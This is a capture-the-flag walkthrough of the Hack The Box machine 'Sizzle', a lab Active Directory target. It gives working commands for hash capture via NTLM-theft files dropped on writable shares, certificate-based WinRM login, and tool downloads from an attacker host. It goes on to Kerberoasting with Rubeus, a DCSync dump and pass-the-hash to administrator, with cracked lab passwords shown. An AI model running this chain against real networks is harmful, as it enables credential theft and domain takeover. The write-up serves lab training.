HTB: Sizzle

We kick things off with an nmap scan.

We have an app on port 80, anonymous FTP on 21 and an Active Directory system. Note that certificate authority in the scan output. It is what the whole box eventually turns on. Also worth noting what isn't there: Kerberos on 88 is missing from the outside, which matters later.

Let's run enum4linux and see what we get.

enum4linux-ng -A 10.129.102.218

We have anonymous access, so let's run NetExec with guest and list the shares.

nxc smb 10.129.102.218 -u 'guest' -p '' --shares

We have shares available, but before we continue let's take a quick look at that anonymous FTP.

ftp 10.129.102.218

Anonymous access is allowed but there are no files in there, so let's head back to those shares. That Department Shares looks juicy, so let's pull the directories within.

smbclient '//10.129.102.218/Department Shares' -N -c 'recurse; ls' \
  | grep -E '^\\' | sed 's/\\///g' > dirs.txt

That's a lot of directories. We can read them all but there's nothing in them, so the question is which ones we can write to. Let's test each one by putting a file and deleting it again.

while read d; do
  smbclient '//10.129.102.218/Department Shares' -N \
    -c "cd \"$d\"; put /etc/hostname w.txt; rm w.txt" >/dev/null 2>&1 \
    && echo "WRITABLE: $d"
done < dirs.txt

Two writable directories. That's the foothold. If we can drop a file somewhere a user or an indexing service will open, we can make the machine authenticate to us and catch the hash. Let's get Responder up and try uploading a shortcut file pointed at our address.

sudo responder -I tun0 -v

smbclient '//10.129.102.218/Department Shares' -N \
  -c 'cd "ZZ_ARCHIVE"; put @test.scf'

After a few minutes we still have nothing back. Rather than guess which file type will trigger, there's a tool that generates every variant at once.

git clone https://github.com/Greenwolf/ntlm_theft

We generate the set and upload the lot into both writable directories.

smbclient '//10.129.102.218/Department Shares' -N \
  -c 'prompt off; cd "Users\Public"; put pwn.scf; put "pwn-(icon).url"; put pwn.lnk; put pwn.library-ms'

smbclient '//10.129.102.218/Department Shares' -N \
  -c 'prompt off; cd "ZZ_ARCHIVE"; put pwn.scf; put "pwn-(icon).url"; put pwn.lnk; put pwn.library-ms'

And we get a hit. Let's pull that hash and crack it.

hashcat amanda.hash /usr/share/wordlists/rockyou.txt

It cracks in seconds. Let's enumerate her shares and check for remote management.

nxc smb 10.129.102.218 -u 'amanda' -p 'Ashare1972' --shares

We don't have remote management, but we do have certificate enrollment. The CA has a web interface, and if we can get it to issue us a client certificate then we can authenticate with that instead of a password. Let's generate a key and a signing request.

openssl req -newkey rsa:2048 -nodes -keyout amanda.key -out amanda.csr -subj "/CN=amanda"

Now we paste that request into the certificate request page, logging in with the amanda credentials.

Then we download the issued certificate as base64 encoded.

Now let's use that certificate to log in over remote management.

evil-winrm -i 10.129.102.218 -S -k amanda.key -c certnew.cer

We are in. Let's transfer over winPEAS and let it rip.

iwr -uri http://10.10.14.211/winPEAS.bat -o wp.bat

Blocked by policy, so moving on. Let's attempt to kerberoast with amanda's account.

impacket-GetUserSPNs -request -dc-ip 10.129.102.218 htb.local/amanda:'Ashare1972' -outputfile mrlky.hash

It finds the service principal but can't request the ticket. Looking back at the nmap scan, port 88 isn't exposed, so Kerberos isn't reachable from outside at all. That's the catch on this box. We have to do it from inside instead, so let's bring Rubeus over to the amanda session.

iwr -uri http://10.10.14.211/Rubeus.exe -o r.exe

.\r.exe asktgt /user:amanda /password:Ashare1972 /domain:htb.local /nowrap

Now we paste that ticket back in and kerberoast from within.

.\r.exe kerberoast /user:mrlky /ticket:<PASTE TICKET HERE> /nowrap

We get our ticket hash. Now let's save it on Kali and crack it.

hashcat -m 13100 krbgt.hash /usr/share/wordlists/rockyou.txt

It cracked pretty quickly. That account turns out to hold replication rights on the domain, so let's dump the directory.

impacket-secretsdump -just-dc htb.local/mrlky:'Football#7'@10.129.102.218

We have everything. Let's pass the hash into the system as administrator.

impacket-psexec -hashes ':<ADMIN_NT>' htb.local/administrator@10.129.102.218

We grab the user flag from the mrlky desktop.

Then head over to the administrator desktop for the root flag.

This box was pretty decent and more realistic than the others. Definitely recommend it for anyone practising real world environments. Remember that Kerberos sometimes won't be accessible from the outside.